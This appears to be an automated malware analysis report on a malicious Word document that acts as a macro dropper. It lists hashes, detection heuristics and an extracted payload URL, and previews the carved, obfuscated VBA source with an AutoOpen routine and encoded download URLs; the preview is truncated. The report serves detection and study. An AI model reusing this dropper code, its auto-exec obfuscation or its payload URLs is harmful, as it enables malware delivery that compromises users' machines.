Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 829ac00f71adf578…

MALICIOUS

Office (OLE)

169.0 KB Created: 2018-05-18 10:29:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 701ff8f59000f867eddd94fd8f382da4 SHA-1: 9d838cc3971847f7737755437e01e632e9c40edd SHA-256: 829ac00f71adf578f45ac65f4ed72a284401027ef7b0afc093e3d5cf71cc171f
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function and de-obfuscates a URL, indicating an attempt to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6548145-0' further supports its dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6548145-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6548145-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kbOk+bOkshel.bOk+bOkorbOk+bOkg/wp3bOjY.UtqQ Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 165725 bytes
SHA-256: 2978a3781a0b297f11d70d3f3d304284430a260490be5652a44dd3abfb3b4249
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "imAjbuPcfSfh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub oLpAIK(poJVJ)
For BPiwX = 18775 To 55147
      For nZsjjw = 92215 To MhVHW
         ZPiOus = ChrB(qwTwN)
      Next
      QPKjQp = 22345 * 771
      wUYMLU = czBzEp + RJPkQ
Next
End Sub
Sub cZhVCf(BzESK)
For nTKpih = 87048 To 29309
      For TwQrb = 876 To aBEvDJ
         mCKfO = ChrB(ivimI)
      Next
      vHUjD = 44038 * 64626
      FlFKD = JXCNO + dwXmYB
Next
For ppYNdj = 48827 To 9132
      For FUBYVB = 34568 To zzcJQ
         sUXQY = ChrB(jhIBss)
      Next
      jXbbi = 366 * 47136
      iMqWb = WpYZUZ + fsFSAF
Next
For YLAjd = 67295 To 71457
      For VYzJro = 19750 To htzVN
         kcXTjA = ChrB(VIduXt)
      Next
      LKsst = 87132 * 38081
      bLhuVj = ZDjnj + XIKzkw
Next
End Sub
Sub QUOUvn(XAEcUY)
For BMlpfv = 95478 To 66749
      For KkMvoB = 65488 To IvUjHw
         whmBZ = ChrB(HTIpWw)
      Next
      KECBh = 88038 * 6958
      jrIVSL = YDCuP + qzIwJ
Next
For DQDGSE = 17581 To 66882
      For sSBNt = 55458 To qifGn
         uEnbhz = ChrB(HuFXS)
      Next
      TflqR = 17983 * 54842
      jlAhW = aHdRDn + WzSqX
Next
End Sub
Sub Autoopen()
On Error Resume Next
For OwzMd = 90142 To 86005
      For kEoNz = 21477 To NSnuL
         sAQnU = ChrB(lzjSzu)
      Next
      NTiYW = 73476 * 56799
      qCpEFc = IjfvMF + vhZIQ
Next
HVnXMnsXU (MEmpT + WBFjPWH + zFiuQI)
For RCwbjP = 4240 To 91806
      For zmDiur = 44594 To zNWWa
         PAkIij = ChrB(mOnioT)
      Next
      FptNLX = 8059 * 99357
      lCFicu = mLqPi + zGXLLN
Next
End Sub
Sub PDGXZ(KTIKDi)
For OzGZB = 1221 To 83722
      For BTzEP = 58199 To nqzLqb
         hviJj = ChrB(jiAnhS)
      Next
      zzwKK = 43020 * 23745
      kJTKS = fRLrs + sRLrrU
Next
For bWTKX = 94325 To 33160
      For nsoATP = 13816 To lOwOQE
         ovodU = ChrB(oHSqPk)
      Next
      RzwNAd = 84628 * 47676
      rYYlU = ctFqX + iPiTw
Next
For zlWJE = 59066 To 29481
      For mRlNmM = 77133 To EQEjO
         iZkYN = ChrB(mjOuEV)
      Next
      nAhTuV = 76312 * 74411
      HsDLV = LRONu + GwYjRh
Next
End Sub
Sub CDrJRT(SWzKN)
For cTSsUB = 23133 To 51616
      For wfqaH = 62198 To Imcou
         GPimrV = ChrB(oUDzTI)
      Next
      ijMPVS = 57829 * 12969
      SqLUO = KiYjs + CJiJq
Next
End Sub

Attribute VB_Name = "kccrHztZcaMT"
Sub FAEQvj(fZJVa)
For QacWiG = 58543 To 72713
      For djbjMb = 79250 To kVFFmM
         tndqBK = ChrB(HQTiT)
      Next
      FwGopM = 42874 * 39991
      LTZqnZ = UidNdd + cokiKc
Next
End Sub
Function WBFjPWH()
On Error Resume Next
For PdHsj = 77455 To 27996
      For PaqdD = 53432 To QLXuH
         lFGTcE = ChrB(AFdLsi)
      Next
      pRwGkl = 6839 * 36135
      WAZPS = ZLQUP + YBYEjk
Next
For BPQFzf = 73499 To 50552
      For jShjv = 84227 To Orscf
         WzhRO = ChrB(lscZhw)
      Next
      JCwwKD = 15098 * 93446
      OzminL = HWjOfs + YfRro
Next
AwzUY = TXPWGS(",QqtU.YjOb3pw/gkOb+kObrokOb+kOb.lehskOb+kObk//:ptth@/Y37skOb+kObHem/mokOb+kO'+'bc.nosk'+'Ob+kObwkOb+kObalinikOb+kOb'+'g/kOb+kOb/kOb+kOb:ptthkOb+kOb@/K0FXK", 64014 + 2 - 64014, 64014 + 145 - 64014)
For HtAkT = 65353 To 36439
      For shYXa = 69097 To kfjHZE
         CAkzR = ChrB(aTtMTb)
      Next
      VzBLFt = 43838 * 29716
      IrEIjn = ikPQm + zAVQhq
Next
For zsVcLB = 82980 To 85682
      For ihbkX = 21857 To RsjLtd
         NjTQJ = ChrB(qBqTK)
      Next
      riLAiw = 70192 * 40755
      nZiolT = MGZCW + Iwrlh
Next
rsjNHtbWjCu = TXPWGS("w@9DNiI4Zy(kOb+kOb&kOb+kOb;)kOb+kObCDSNCkOb+kObV ,)(YfkkOb+kObgNlzkO9", 48277 + 2 - 48277, 48277 + 62 - 48277)
For VjrIau = 38330 To 14833
      For szNJI = 85304 To GobXiV
         ktHGVW = ChrB(IzQuz)
      Next
      vREuRL = 26984 * 38709
      MtOih = DJKHAr + PSnwk
Next
For HkKUh = 21079 To 21121
      Fo
... (truncated)

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